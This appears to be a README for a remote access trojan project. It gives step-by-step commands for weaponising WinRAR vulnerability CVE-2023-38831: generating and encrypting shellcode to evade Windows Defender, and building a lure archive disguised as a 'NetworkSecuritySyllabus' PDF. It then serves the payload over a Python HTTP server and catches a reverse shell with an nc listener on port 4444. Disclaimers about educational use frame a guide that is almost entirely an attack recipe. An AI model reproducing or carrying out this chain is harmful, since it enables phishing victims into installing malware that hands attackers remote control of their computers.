
Remote Access Trojan (RAT) for Windows x64 using a combination of vulnerability CVE-2023-38831 (WinRAR < 6.23 vulnerability) and Shellcode exploitation technique.
Develop a Windows x64 RAT using CVE-2023-38831 (WinRAR < 6.23) and Shellcode exploitation to bypass Windows Defender.
Warning: This information is for educational purposes only. Unauthorized use of these techniques is illegal and unethical.
Craft Shellcode
51721.py to generate the initial shellcode.Modify and Compile the Shellcode
Encrypt the Executable
decrypt_file.ps1 to encrypt the compiled executable:
.\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
Create a WinRAR Archive
cve-2023-38831-exp-gen.py to create the archive:
python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
Set Up a Python Server for File Download
enc_main.exe and decrypt_file.ps1.python3 -m http.server 8000
Prepare to Listen for the Reverse TCP Shell
nc -lnvp 4444
Trigger the Reverse TCP Shell
This information is provided for educational purposes only. The use of this exploit without explicit permission is illegal and unethical. The author assumes no responsibility for any misuse of this information.